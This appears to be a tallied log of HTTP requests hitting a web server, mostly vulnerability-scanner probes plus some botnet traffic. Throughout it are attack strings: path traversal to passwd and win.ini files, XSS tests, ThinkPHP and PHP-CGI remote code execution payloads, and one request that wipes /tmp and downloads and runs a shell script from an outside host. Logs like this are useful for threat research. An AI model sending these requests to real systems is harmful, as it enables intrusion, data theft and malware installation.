1	GET	/html/iscscada.htm	HTTP/1.1
1	GET	/iView3/pages/version.frag	HTTP/1.1
1	GET	/ibmmq/console/login.html	HTTP/1.1
1	GET	/ibmmq/console/nls/en/strings.json	HTTP/1.1
1	GET	/idc/idcplg?IdcService=GET_ENVIRONMENT&IsJson=1	HTTP/1.1
1	GET	/idm/login.jsp?lang=en&cntry=	HTTP/1.1
1	GET	/ifx/?LO=../../../../../etc/passwd	HTTP/1.1
1	GET	/igsponsor	HTTP/1.1
1	GET	/iisadmpwd/aexp.htr	HTTP/1.1
1	GET	/iisadmpwd/aexp2.htr	HTTP/1.1
1	GET	/iisadmpwd/aexp2b.htr	HTTP/1.1
1	GET	/iisadmpwd/aexp3.htr	HTTP/1.1
1	GET	/iisadmpwd/aexp4.htr	HTTP/1.1
1	GET	/iisadmpwd/aexp4b.htr	HTTP/1.1
1	GET	/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=nessus'	HTTP/1.1
1	GET	/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=nessus	HTTP/1.1
1	GET	/images/login_top.gif	HTTP/1.1
1	GET	/images/logon_merge.gif	HTTP/1.1
1	GET	/images	HTTP/1.1
1	GET	/images	HTTP/1.0
1	GET	/imc	HTTP/1.1
1	GET	/img/main.cgi?next_file=main.htm	HTTP/1.1
1	GET	/imp/status.php3	HTTP/1.1
1	GET	/index.JSP	HTTP/1.1
1	GET	/index.aspx	HTTP/1.1
4	GET	/index.cgi	HTTP/1.1
1	GET	/index.do	HTTP/1.1
1	GET	/index.exp	HTTP/1.1
1	GET	/index.html?urlmaskfilter=<script>foo</script>	HTTP/1.1
7	GET	/index.html	HTTP/1.1
1	GET	/index.jsp%00x	HTTP/1.1
3	GET	/index.jsp	HTTP/1.1
1	GET	/index.php/123	HTTP/1.1
1	GET	/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21	HTTP/1.1
1	GET	/index.php	HTTP/1.1
3	GET	/index.pl	HTTP/1.1
3	GET	/index.sh	HTTP/1.1
1	GET	/indice.cfm	HTTP/1.1
1	GET	/inicio.cgi	HTTP/1.1
1	GET	/internalServerReporting.php	HTTP/1.1
1	GET	/interscan/cgi-bin/FtpSave.dll?I'm%20Here	HTTP/1.1
1	GET	/intruvert/jsp/admin/Login.jsp	HTTP/1.1
1	GET	/invoker/EJBInvokerServlet	HTTP/1.1
1	GET	/invoker/JMXInvokerServlet	HTTP/1.1
1	GET	/item.fts?href=%22%3E%3Cscript%3Ealert(%22ftgate_44002.nasl%22)%3C%2Fscript%3E%3B	HTTP/1.1
1	GET	/ivc2/Backup/IVC1/html/index.htm	HTTP/1.1
1	GET	/iyASvTLE.aspx	HTTP/1.1
1	GET	/js/Device.js	HTTP/1.1
5	GET	/js/hpsum/hpsum-version.js	HTTP/1.1
1	GET	/jts/	HTTP/1.1
1	GET	/lang_pack/EN.js	HTTP/1.1
1	GET	/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/allfield.jse	HTTP/1.1
1	GET	/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/misc/test.jse	HTTP/1.1
1	GET	/lcgi/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/autoexec.ncf	HTTP/1.1
1	GET	/ldap/cgi-bin/ldacgi.exe?Action=Substitute&Template=../../../../../boot.ini&Sub=LocalePath&LocalePath=enus1252	HTTP/1.1
1	GET	/lem/index.html	HTTP/1.1
1	GET	/libs/granite/core/content/login.html	HTTP/1.1
1	GET	/links_en.html	HTTP/1.1
1	GET	/login.do	HTTP/1.1
1	GET	/login.htm	HTTP/1.1
1	GET	/login.html?1600	HTTP/1.1
8	GET	/login.html	HTTP/1.1
2	GET	/login.jsp	HTTP/1.1
3	GET	/login.php	HTTP/1.1
1	GET	/login.web	HTTP/1.1
2	GET	/login/	HTTP/1.1
1	GET	/login1.htm	HTTP/1.1
3	GET	/login?redirects=10	HTTP/1.1
1	GET	/login?user=**%3Cscript%3EJavaScript:alert('cpanel_login_user_xss.nasl')%3B%3C%2Fscript%3E	HTTP/1.1
1	GET	/loginMsg.js	HTTP/1.1
1	GET	/login_up.php3?login_name=x&passwd=x&locale_id=../../../../../../../../../../../../boot.ini%00.jpg	HTTP/1.1
15	GET	/login	HTTP/1.1
1	GET	/logon.jsp	HTTP/1.1
1	GET	/logon?onok=%22%3e%3cscript%3ealert('axon_logon_xss.nasl')%3c%2fscript%3e	HTTP/1.1
1	GET	/logout	HTTP/1.0
1	GET	/mail/	HTTP/1.1
1	GET	/main.cgi?next_file=main.htm	HTTP/1.1
1	GET	/main.cgi	HTTP/1.1
1	GET	/main/web/status/	HTTP/1.1
1	GET	/main_internet.php	HTTP/1.1
1	GET	/mainui/	HTTP/1.1
1	GET	/manual/ag/contents.htm	HTTP/1.1
1	GET	/map/sitemap.xml	HTTP/1.1
1	GET	/mapviewer/omserver?getv=t	HTTP/1.1
1	GET	/menu.htm	HTTP/1.1
1	GET	/menu.jhtml	HTTP/1.1
1	GET	/mgmt/login?dest=%2Fmgmt%2Fgui%3Fp%3Dhome&reason=&username=	HTTP/1.1
1	GET	/misc/drupal.js	HTTP/1.1
1	GET	/mod_gzip_status	HTTP/1.1
1	GET	/mve/help/en/inventory/am_about.html	HTTP/1.1
1	GET	/mxhelp/cgi-bin/namazucgi?lang=/../../../../../../../../../../../../../boot.ini	HTTP/1.1
1	GET	/nacos/	HTTP/1.1
1	GET	/names.nsf/view?ReadDesign	HTTP/1.1
2	GET	/nessus345678.html	HTTP/1.1
1	GET	/nessus\\..\\..\\..\\..\\..\\..\\windows\\win.ini	HTTP/1.1
1	GET	/nessus\\..\\..\\..\\..\\..\\..\\winnt\\win.ini	HTTP/1.1
1	GET	/netbasic/websinfo.bas	HTTP/1.1
1	GET	/netflow/html/aboutus.jsp	HTTP/1.1
1	GET	/netmri/config/userAdmin/login.tdf	HTTP/1.1
1	GET	/news/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/niet1140602931.	HTTP/1.1
1	GET	/niet1150676026.jsp	HTTP/1.1
1	GET	/niet1172467871.php4	HTTP/1.1
1	GET	/niet1312089889.asp	HTTP/1.1
1	GET	/niet1387366305.shtml	HTTP/1.1
1	GET	/niet1498568227.cfm	HTTP/1.1
1	GET	/niet1510966183.html	HTTP/1.1
1	GET	/niet1514344817.shtm	HTTP/1.1
1	GET	/niet1585539532.jspx	HTTP/1.1
1	GET	/niet1613658195.php5	HTTP/1.1
1	GET	/niet1830485276.php	HTTP/1.1
1	GET	/niet1995551995.aspx	HTTP/1.1
1	GET	/niet336367067.php3	HTTP/1.1
1	GET	/niet391262664.htm	HTTP/1.1
1	GET	/niet425308033	HTTP/1.1
1	GET	/niet947656438.php6	HTTP/1.1
1	GET	/nifi/	HTTP/1.1
1	GET	/nls/ApplicationProperties-en.json	HTTP/1.1
1	GET	/nmaplowercheck1664954812	HTTP/1.1
1	GET	/nnm/main	HTTP/1.1
1	GET	/no_such_file_Xa0_PO0l.html	HTTP/1.1
1	GET	/nosuchfile-376794602-1635279449.jsp	HTTP/1.1
1	GET	/note.txt?F_notini=&T_note=&nomentreprise=blah&filenote=../../windows/win.ini	HTTP/1.1
1	GET	/note.txt?F_notini=&T_note=&nomentreprise=blah&filenote=../../winnt/win.ini	HTTP/1.1
3	GET	/nph-mr.cgi	HTTP/1.1
1	GET	/nps/servlet/portal	HTTP/1.1
1	GET	/nps/servlet/portalservice	HTTP/1.1
1	GET	/nsn/..%5Cutil/chkvol.bas	HTTP/1.1
1	GET	/nsn/..%5Cutil/dir.bas	HTTP/1.1
1	GET	/nsn/..%5Cutil/glist.bas	HTTP/1.1
1	GET	/nsn/..%5Cutil/lancard.bas	HTTP/1.1
1	GET	/nsn/..%5Cutil/set.bas	HTTP/1.1
1	GET	/nsn/..%5Cutil/userlist.bas	HTTP/1.1
1	GET	/nsn/..%5Cweb/env.bas	HTTP/1.1
1	GET	/nsn/..%5Cwebdemo/fdir.bas	HTTP/1.1
1	GET	/nsn/env.bas	HTTP/1.1
1	GET	/nsn/fdir.bas	HTTP/1.1
1	GET	/nul.dbm	HTTP/1.1
1	GET	/ofbizsetup/control/checkLogin	HTTP/1.1
1	GET	/officescan/console/html/common/l10n/l10n.global.js	HTTP/1.1
1	GET	/oo/	HTTP/1.1
1	GET	/ordermgr/control/checkLogin	HTTP/1.1
1	GET	/ords/	HTTP/1.1
1	GET	/ossim/session/login.php	HTTP/1.1
1	GET	/otrs/index.pl	HTTP/1.1
1	GET	/page/portal/Design_Time_PG/Welcome	HTTP/1.1
1	GET	/pages/login.php	HTTP/1.1
1	GET	/password	HTTP/1.1
1	GET	/perl/samples/env.pl	HTTP/1.1
1	GET	/perl/samples/lancgi.pl	HTTP/1.1
1	GET	/perl/samples/ndslogin.pl	HTTP/1.1
1	GET	/perl/samples/volscgi.pl	HTTP/1.1
1	GET	/photo/lang/ENG.js	HTTP/1.1
1	GET	/php/php.exe?c:\\winnt\\win.ini	HTTP/1.1
1	GET	/platform-ui/	HTTP/1.1
1	GET	/plc/webvisu.htm	HTTP/1.1
1	GET	/pls/apex/f?p=nessuscheck	HTTP/1.1
1	GET	/pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/pluto/portal/	HTTP/1.1
1	GET	/pools/default/buckets	HTTP/1.1
1	GET	/pools	HTTP/1.1
1	GET	/portal/diag/index.jsp	HTTP/1.1
1	GET	/portal/page/portal/Design_Time_PG/Welcome	HTTP/1.1
1	GET	/portal/pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW	HTTP/1.1
1	GET	/portal	HTTP/1.1
2	GET	/properties/configuration.php?tab=Status	HTTP/1.1
1	GET	/properties/description.dhtml	HTTP/1.1
1	GET	/ptz.htm	HTTP/1.1
1	GET	/public/	HTTP/1.1
1	GET	/puppet-ca/v1/certificate/13.67.44.234	HTTP/1.1
1	GET	/puppet/v3/facts/13.67.44.234	HTTP/1.1
1	GET	/qhwjBCy4.asmx	HTTP/1.1
2	GET	/qip	HTTP/1.1
1	GET	/qsoap.qap	HTTP/1.1
3	GET	/query.cgi	HTTP/1.1
1	GET	/query.idq?CiTemplate=../../../../../winnt/win.ini%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20	HTTP/1.1
1	GET	/query.idq?CiTemplate=../../../../../winnt/win.ini	HTTP/1.1
1	GET	/qwe/qwe/index.html	HTTP/1.1
1	GET	/rails_info/properties	HTTP/1.1
1	GET	/rcladmin/js/art_i18n/nls/art_i18n.js	HTTP/1.1
1	GET	/rdweb/login/login.html	HTTP/1.1
1	GET	/recoveryconsole/	HTTP/1.1
1	GET	/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession	HTTP/1.1
1	GET	/reporter/client.jsp	HTTP/1.1
1	GET	/rest-service/reviews-v1/versionInfo	HTTP/1.1
3	GET	/robots.txt	HTTP/1.1
1	GET	/ruei/index.php	HTTP/1.1
1	GET	/sabin/SiteAdmin.htm	HTTP/1.1
1	GET	/sapmc/sapmc.html	HTTP/1.1
1	GET	/sawmill6cl.exe?ho+{COMPLETE_VERSION}	HTTP/1.1
1	GET	/sawmillcl.exe?ho+{COMPLETE_VERSION}	HTTP/1.1
1	GET	/sc3/console.php?psid=101	HTTP/1.1
1	GET	/scgi-bin/platform.cgi	HTTP/1.1
1	GET	/scmadmin/LocalIndex.html	HTTP/1.1
1	GET	/scmadmin/	HTTP/1.1
1	GET	/scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini	HTTP/1.1
1	GET	/scripts/fake.cgi?arg=/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/winnt/win.ini	HTTP/1.1
1	GET	/scripts/fake.cgi?arg=/dir/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd	HTTP/1.1
1	GET	/scripts/fake.cgi?arg=/dir/../../../../../../../../../../../windows/win.ini	HTTP/1.1
1	GET	/scripts/fake.cgi?arg=/dir/../../../../../../../../../../../winnt/win.ini	HTTP/1.1
1	GET	/scripts/fake.cgi?arg=/dir/../../../../../../etc/passwd	HTTP/1.1
1	GET	/scripts/w3who.dll	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.asp	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.cfm	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.cgi	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.html	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.inc	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.php3	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.php	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.pl	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.sh	HTTP/1.1
1	GET	/scripts/xe1Vg5hoIVKu.shtml	HTTP/1.1
1	GET	/search/results.stm	HTTP/1.1
1	GET	/search?NS-query-pat=../../../../../../../../../etc/passwd	HTTP/1.1
1	GET	/search?NS-query-pat=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini	HTTP/1.1
1	GET	/securecgi-bin/CSUserCGI.exe?Init+0	HTTP/1.1
1	GET	/securecgi-bin/CSUserCGI.exe?ver	HTTP/1.1
1	GET	/self_upgrade.html	HTTP/1.1
2	GET	/server-info	HTTP/1.1
3	GET	/server-status	HTTP/1.1
1	GET	/servlet/SnoopServlet/	HTTP/1.1
1	GET	/servlet/UDataArea?plugin=com.dell.oma.webplugins.AboutWebPlugin	HTTP/1.1
1	GET	/servlet/admin?category=server&method=listAll&Authorization=Digest+username%3D%22admin%22%2C+response%3D%22ae9f86d6beaa3f9ecb9a5b7e072a4138%22%2C+nonce%3D%222b089ba7985a883ab2eddcd3539a6c94%22%2C+realm%3D%22adminRealm%22%2C+uri%3D%22%2Fservlet%2Fadmin%22&service=	HTTP/1.0
1	GET	/servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5cglobal.asa	HTTP/1.1
1	GET	/servlet/com.newatlanta.servletexec.JSP10Servlet	HTTP/1.1
1	GET	/servlet/snoop/	HTTP/1.1
1	GET	/servlet/snoopservlet/	HTTP/1.1
1	GET	/servlet/webacc?User.lang=<script>foo</script>	HTTP/1.1
1	GET	/servlet/webacc?error=webacc	HTTP/1.1
3	GET	/session_login.cgi	HTTP/1.1
1	GET	/setup/setup-/../../log.jsp?log=info&mode=asc&lines=10	HTTP/1.1
1	GET	/setup	HTTP/1.1
1	GET	/sgdadmin/faces/jsp/Version.jsp	HTTP/1.1
1	GET	/sgms/login	HTTP/1.1
1	GET	/shared/userlogin.php	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http[:]//whitesecurity[.]xyz/674W0dF1.sh;sh+/tmp/674W0dF1.sh	HTTP/1.1
3	GET	/show_bug.cgi	HTTP/1.1
1	GET	/site/wp-includes/wlwmanifest.xml	HTTP/1.1
2	GET	/sitemap.xml	HTTP/1.1
1	GET	/sitemap/sitemap.xml	HTTP/1.1
1	GET	/sito/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/smadmr5.nsf	HTTP/1.1
1	GET	/smconf.nsf	HTTP/1.1
1	GET	/smency.nsf	HTTP/1.1
1	GET	/smftypes.nsf	HTTP/1.1
1	GET	/smhelp.nsf	HTTP/1.1
1	GET	/smmsg.nsf	HTTP/1.1
1	GET	/smquar.nsf	HTTP/1.1
1	GET	/smsmvlog.nsf	HTTP/1.1
1	GET	/smtime.nsf	HTTP/1.1
1	GET	/snmx-cgi/fxm.exe	HTTP/1.1
1	GET	/snoop/	HTTP/1.1
1	GET	/snoopservlet/	HTTP/1.1
1	GET	/solr/#	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/someunexistantantsutff.exe	HTTP/1.1
1	GET	/someunexistantantsutff4288219851645024513.html	HTTP/1.1
1	GET	/spotfire/about.jsp	HTTP/1.1
1	GET	/spywall/login.php	HTTP/1.1
1	GET	/ssp//	HTTP/1.1
1	GET	/start.js	HTTP/1.1
1	GET	/status.php3	HTTP/1.1
1	GET	/status.xsl.	HTTP/1.1
1	GET	/stcenter.nsf	HTTP/1.1
1	GET	/stream/0	HTTP/1.1
1	GET	/stronghold-info	HTTP/1.1
1	GET	/stronghold-status	HTTP/1.1
1	GET	/struts/webconsole.html	HTTP/1.1
1	GET	/sws/data/sws_data.js	HTTP/1.1
1	GET	/swvm/ConsoleContainer.jsp	HTTP/1.1
1	GET	/syslog.htm	HTTP/1.1
1	GET	/system.xml	HTTP/1.1
1	GET	/system/console?version=1.5	HTTP/1.1
2	GET	/system/login	HTTP/1.1
1	GET	/tLTrG7Zk.ashx	HTTP/1.1
1	GET	/tarantella/cgi-bin/secure/ttawlogin.cgi/?action=bootstrap	HTTP/1.1
3	GET	/test.cgi	HTTP/1.1
1	GET	/test.js	HTTP/1.1
1	GET	/test/wp-includes/wlwmanifest.xml	HTTP/1.1
3	GET	/test	HTTP/1.1
1	GET	/this_page_should_not_exist.htm	HTTP/1.1
1	GET	/this_server/all_settings.shtml	HTTP/1.1
1	GET	/tightvnc-jviewer.jar	HTTP/1.1
1	GET	/tmui/	HTTP/1.1
1	GET	/trace.axd	HTTP/1.1
1	GET	/trc	HTTP/1.1
1	GET	/triton-help/en/first.htm	HTTP/1.1
1	GET	/tsp//	HTTP/1.1
3	GET	/ucsm/isSamInstalled.cgi	HTTP/1.1
1	GET	/uddi/default.aspx	HTTP/1.1
1	GET	/uddipublic/default.aspx	HTTP/1.1
2	GET	/ui/	HTTP/1.1
1	GET	/ui/faces/Login.xhtml	HTTP/1.1
1	GET	/ui/login.action	HTTP/1.1
1	GET	/ui/login/	HTTP/1.1
1	GET	/unified-console.html	HTTP/1.1
1	GET	/update.php?op=info	HTTP/1.1
1	GET	/upnp/BasicDevice.xml	HTTP/1.1
1	GET	/usage/	HTTP/1.1
1	GET	/user/login	HTTP/1.1
1	GET	/user_settings.cfg	HTTP/1.1
1	GET	/userportal/webpages/myaccount/login.jsp	HTTP/1.1
1	GET	/users/sign_in	HTTP/1.1
1	GET	/v2.0/environments/13.67.44.234	HTTP/1.1
1	GET	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	GET	/version	HTTP/1.1
1	GET	/view.html	HTTP/1.1
1	GET	/view/hsrindex.shtml	HTTP/1.1
1	GET	/view/view.shtml	HTTP/1.1
1	GET	/vncviewer.jar	HTTP/1.1
1	GET	/vpn/	HTTP/1.1
1	GET	/vsapres/web20/core/login.aspx	HTTP/1.1
1	GET	/vsmc.html	HTTP/1.1
1	GET	/wavemaster.internal	HTTP/1.1
1	GET	/wcd/system.xml	HTTP/1.1
1	GET	/web-console/ServerInfo.jsp%00	HTTP/1.1
1	GET	/web-console/ServerInfo.jsp	HTTP/1.1
1	GET	/web-determinations/?CookieSet=true	HTTP/1.1
1	GET	/web.config	HTTP/1.1
1	GET	/web/#/login	HTTP/1.1
1	GET	/web/	HTTP/1.1
1	GET	/web/signin	HTTP/1.1
1	GET	/web/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/webalizer/	HTTP/1.1
1	GET	/webapp/js/UI_String.en-US.js	HTTP/1.1
1	GET	/webapps/login/index.html	HTTP/1.1
1	GET	/webconsole/webpages/login.jsp	HTTP/1.1
1	GET	/webct/about.jsp	HTTP/1.1
1	GET	/webhost	HTTP/1.1
1	GET	/webman/info.cgi?host=	HTTP/1.1
1	GET	/website/wp-includes/wlwmanifest.xml	HTTP/1.1
3	GET	/whois.cgi	HTTP/1.1
1	GET	/wls-wsat/CoordinatorPortType	HTTP/1.1
1	GET	/wls_utc/	HTTP/1.1
1	GET	/wordpress/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp-includes/wlwmanifest.xml	HTTP/1.1
4	GET	/wp-login.php	HTTP/1.1
1	GET	/wp/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp1/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wp2/wp-includes/wlwmanifest.xml	HTTP/1.1
1	GET	/wrcontrollite.ssi	HTTP/1.1
1	GET	/ws_utc/login.do	HTTP/1.1
3	GET	/wwwadmin.cgi	HTTP/1.1
3	GET	/wwwboard.cgi	HTTP/1.1
3	GET	/xampp/cgi.cgi	HTTP/1.1
1	GET	/xampp/index.php	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.asp	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.cfm	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.cgi	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.html	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.inc	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.php3	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.php	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.pl	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.sh	HTTP/1.1
1	GET	/xe1Vg5hoIVKu.shtml	HTTP/1.1
1	GET	/xmldata?item=All	HTTP/1.1
1	GET	/xmldata?item=all	HTTP/1.1
1	GET	/xmlrpc.php?rsd	HTTP/1.1
1	GET	/xsql/demo/airport/airport.xsql?xml-stylesheet=none	HTTP/1.1
1	GET	/~nobody/etc/passwd	HTTP/1.1
1	GET	1664951096:@13.67.44.234/	HTTP/1.1
1	GET	1664951097:@13.67.44.234/
1	GET	<meta%20http-equiv=Set-Cookie%20content=%22testiiom=1513%22>	HTTP/1.1
1	GET	<script>document.cookie=%22testiiom=1513;%22</script>	HTTP/1.1
1	GET	a/etc/passwd
1	GET	c:\\boot.ini	HTTP/1.1
1	GET	http[:]//13[.]67[.]44[.]234/authentication/login/	HTTP/1.1
1	GET	http[:]//rfi[.]nessus[.]org/check_proxy.html	HTTP/1.0
2	HEAD	/	HTTP/1.1
1	HEAD	/blog/xmlrpc.php	HTTP/1.1
1	HEAD	/new/xmlrpc.php	HTTP/1.1
1	HEAD	/old/xmlrpc.php	HTTP/1.1
1	HEAD	/someunexistantstuff.exe	HTTP/1.1
1	HEAD	/someunexistantstuff11401350261119648277.html	HTTP/1.1
1	HEAD	/wordpress/xmlrpc.php	HTTP/1.1
1	HEAD	/wp/xmlrpc.php	HTTP/1.1
1	HEAD	/xmlrpc.php	HTTP/1.1
1	NESSUS	/	HTTP/1.0
2	OPTIONS	*	HTTP/1.1
1	OPTIONS	/	HTTP/1.1
1	POST	/%70%68%70%70%61%74%68/%70%68%70?%2d%64+%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%3d%6f%6e+%2d%64+%73%61%66%65%5f%6d%6f%64%65%3d%6f%66%66+%2d%64+%73%75%68%6f%73%69%6e%2e%73%69%6d%75%6c%61%74%69%6f%6e%3d%6f%6e+%2d%64+%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%3d%22%22+%2d%64+%6f%70%65%6e%5f%62%61%73%65%64%69%72%3d%6e%6f%6e%65+%2d%64+%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%3d%70%68%70%3a%2f%2f%69%6e%70%75%74+%2d%6e	HTTP/1.1
1	POST	/Autodiscover/Autodiscover.xml	HTTP/1.1
1	POST	/FormHandler.cgi	HTTP/1.1
2	POST	/HNAP1/	HTTP/1.1
1	POST	/av-centerd	HTTP/1.1
1	POST	/blazeds/messagebroker/http	HTTP/1.1
2	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cgi-bin/file_transfer.cgi	HTTP/1.1
1	POST	/cgi-bin/mainfunction.cgi	HTTP/1.1
1	POST	/flex2gateway/http	HTTP/1.1
1	POST	/index.php?s=xxxx	HTTP/1.1
1	POST	/jsonrpc	HTTP/1.1
1	POST	/lcds/messagebroker/http	HTTP/1.1
1	POST	/messagebroker/http	HTTP/1.1
1	POST	/perl/	HTTP/1.1
1	POST	/sawmill6cl.exe	HTTP/1.1
1	POST	/sawmillcl.exe	HTTP/1.1
1	POST	/scripts/WPnBr.dll	HTTP/1.1
1	POST	/sdk	HTTP/1.1
1	POST	/server/service/smsConfigServiceHttpInvoker	HTTP/1.1
7	POST	/servlet/GetProductVersion	HTTP/1.1
1	POST	/something/maybe/ping	HTTP/1.1
1	POST	/spipe?Source=nessus	HTTP/1.0
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	POST	/webui/apps/sdcss	HTTP/1.1
1	POST	http[:]//127[.]0[.]0[.]1/iControl/iControlPortal.cgi	HTTP/1.1
3	PRI	*	HTTP/2.0
1	PROPFIND	/	HTTP/1.1
1	PUT	/SOXVcHGb1ANG	HTTP/1.1
1	SEARCH	/	HTTP/1.1
1	Secure	* Secure-HTTP/1.4
1	TRACE	/Nessus1891389503.html	HTTP/1.1
1	XJVXYA	/	HTTP/1.1
1	some	invalid request
2	t3	12.2.1